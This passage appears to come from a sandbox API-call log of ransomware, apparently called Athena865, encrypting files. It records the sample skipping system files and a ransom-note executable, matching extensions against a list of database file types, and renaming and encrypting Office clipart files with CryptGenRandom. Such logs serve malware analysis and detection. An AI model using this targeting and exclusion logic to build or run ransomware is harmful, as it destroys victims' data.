lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.815] lstrlenW (lpString="accdc") returned 5 [0132.815] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.815] lstrlenW (lpString="accde") returned 5 [0132.815] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.815] lstrlenW (lpString="accdr") returned 5 [0132.816] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.816] lstrlenW (lpString="accdt") returned 5 [0132.816] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.816] lstrlenW (lpString="accdw") returned 5 [0132.816] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.816] lstrlenW (lpString="accft") returned 5 [0132.816] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.816] lstrlenW (lpString="adb") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.816] lstrlenW (lpString="adb") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.816] lstrlenW (lpString="ade") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.816] lstrlenW (lpString="adf") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.816] lstrlenW (lpString="adn") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.816] lstrlenW (lpString="adp") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.816] lstrlenW (lpString="alf") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.816] lstrlenW (lpString="ask") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.816] lstrlenW (lpString="btr") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.816] lstrlenW (lpString="cat") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.816] lstrlenW (lpString="cdb") returned 3 [0132.816] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.816] lstrlenW (lpString="ckp") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.817] lstrlenW (lpString="cma") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.817] lstrlenW (lpString="cpd") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.817] lstrlenW (lpString="dacpac") returned 6 [0132.817] lstrcmpiW (lpString1="5_.WMF", lpString2="dacpac") returned -1 [0132.817] lstrlenW (lpString="dad") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.817] lstrlenW (lpString="dadiagrams") returned 10 [0132.817] lstrcmpiW (lpString1="00485_.WMF", lpString2="dadiagrams") returned -1 [0132.817] lstrlenW (lpString="daschema") returned 8 [0132.817] lstrcmpiW (lpString1="485_.WMF", lpString2="daschema") returned -1 [0132.817] lstrlenW (lpString="db-journal") returned 10 [0132.817] lstrcmpiW (lpString1="00485_.WMF", lpString2="db-journal") returned -1 [0132.817] lstrlenW (lpString="db-shm") returned 6 [0132.817] lstrcmpiW (lpString1="5_.WMF", lpString2="db-shm") returned -1 [0132.817] lstrlenW (lpString="db-wal") returned 6 [0132.817] lstrcmpiW (lpString1="5_.WMF", lpString2="db-wal") returned -1 [0132.817] lstrlenW (lpString="dbc") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.817] lstrlenW (lpString="dbs") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.817] lstrlenW (lpString="dbt") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.817] lstrlenW (lpString="dbv") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.817] lstrlenW (lpString="dbx") returned 3 [0132.817] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.817] lstrlenW (lpString="dcb") returned 3 [0132.818] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.818] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.818] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.Athena865") returned 73 [0132.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.819] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16676) returned 1 [0132.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.820] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.820] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.820] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.821] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4430, lpName=0x0) returned 0x154 [0132.822] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4430) returned 0x100000 [0132.823] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.824] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.824] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.825] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.825] CloseHandle (hObject=0x154) returned 1 [0132.825] CloseHandle (hObject=0x17c) returned 1 [0132.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.826] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2=".") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="..") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="windows") returned -1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="bootmgr") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="temp") returned -1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="pagefile.sys") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="boot") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="ids.txt") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="ntuser.dat") returned 1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="perflogs") returned -1 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="MSBuild") returned 1 [0132.826] lstrlenW (lpString="PE00489_.WMF") returned 12 [0132.826] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00489_.WMF" | out: lpString1="PE00489_.WMF") returned="PE00489_.WMF" [0132.826] lstrlenW (lpString="PE00489_.WMF") returned 12 [0132.826] lstrlenW (lpString="Athena865") returned 9 [0132.826] lstrcmpiW (lpString1="0489_.WMF", lpString2="Athena865") returned -1 [0132.826] lstrlenW (lpString=".dll") returned 4 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2=".dll") returned 1 [0132.826] lstrlenW (lpString=".lnk") returned 4 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2=".lnk") returned 1 [0132.826] lstrlenW (lpString=".ini") returned 4 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2=".ini") returned 1 [0132.826] lstrlenW (lpString=".sys") returned 4 [0132.826] lstrcmpiW (lpString1="PE00489_.WMF", lpString2=".sys") returned 1 [0132.827] lstrlenW (lpString="PE00489_.WMF") returned 12 [0132.827] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.Athena865") returned 73 [0132.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.829] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81964) returned 1 [0132.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.829] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.830] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.830] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.830] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14330, lpName=0x0) returned 0x154 [0132.831] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14330) returned 0x100000 [0132.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.837] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.837] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.837] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.838] CloseHandle (hObject=0x154) returned 1 [0132.838] CloseHandle (hObject=0x17c) returned 1 [0132.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.839] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2=".") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="..") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="windows") returned -1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="bootmgr") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="temp") returned -1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="pagefile.sys") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="boot") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="ids.txt") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="ntuser.dat") returned 1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="perflogs") returned -1 [0132.839] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="MSBuild") returned 1 [0132.840] lstrlenW (lpString="PE00531_.WMF") returned 12 [0132.840] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00531_.WMF" | out: lpString1="PE00531_.WMF") returned="PE00531_.WMF" [0132.840] lstrlenW (lpString="PE00531_.WMF") returned 12 [0132.840] lstrlenW (lpString="Athena865") returned 9 [0132.840] lstrcmpiW (lpString1="0531_.WMF", lpString2="Athena865") returned -1 [0132.840] lstrlenW (lpString=".dll") returned 4 [0132.840] lstrcmpiW (lpString1="PE00531_.WMF", lpString2=".dll") returned 1 [0132.840] lstrlenW (lpString=".lnk") returned 4 [0132.840] lstrcmpiW (lpString1="PE00531_.WMF", lpString2=".lnk") returned 1 [0132.840] lstrlenW (lpString=".ini") returned 4 [0132.840] lstrcmpiW (lpString1="PE00531_.WMF", lpString2=".ini") returned 1 [0132.840] lstrlenW (lpString=".sys") returned 4 [0132.840] lstrcmpiW (lpString1="PE00531_.WMF", lpString2=".sys") returned 1 [0132.840] lstrlenW (lpString="PE00531_.WMF") returned 12 [0132.840] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.Athena865") returned 73 [0132.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.842] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7908) returned 1 [0132.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.842] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.843] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.843] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.843] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21f0, lpName=0x0) returned 0x154 [0132.845] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21f0) returned 0x100000 [0132.846] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.847] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.847] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.847] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.848] CloseHandle (hObject=0x154) returned 1 [0132.848] CloseHandle (hObject=0x17c) returned 1 [0132.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.848] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2=".") returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="..") returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="windows") returned -1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="bootmgr") returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="temp") returned -1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="pagefile.sys") returned 1 [0132.848] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="boot") returned 1 [0132.848] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00542_.WMF" | out: lpString1="PE00542_.WMF") returned="PE00542_.WMF" [0132.848] lstrlenW (lpString="PE00542_.WMF") returned 12 [0132.848] lstrlenW (lpString="Athena865") returned 9 [0132.848] lstrcmpiW (lpString1="0542_.WMF", lpString2="Athena865") returned -1 [0132.848] lstrlenW (lpString=".dll") returned 4 [0132.849] lstrcmpiW (lpString1="PE00542_.WMF", lpString2=".dll") returned 1 [0132.849] lstrlenW (lpString=".lnk") returned 4 [0132.849] lstrcmpiW (lpString1="PE00542_.WMF", lpString2=".lnk") returned 1 [0132.849] lstrlenW (lpString=".ini") returned 4 [0132.849] lstrcmpiW (lpString1="PE00542_.WMF", lpString2=".ini") returned 1 [0132.849] lstrlenW (lpString=".sys") returned 4 [0132.849] lstrcmpiW (lpString1="PE00542_.WMF", lpString2=".sys") returned 1 [0132.849] lstrlenW (lpString="PE00542_.WMF") returned 12 [0132.849] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.Athena865") returned 73 [0132.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.850] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36264) returned 1 [0132.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.851] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.851] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.851] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.852] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90b0, lpName=0x0) returned 0x154 [0132.853] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x90b0) returned 0x100000 [0132.855] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.856] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.856] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: 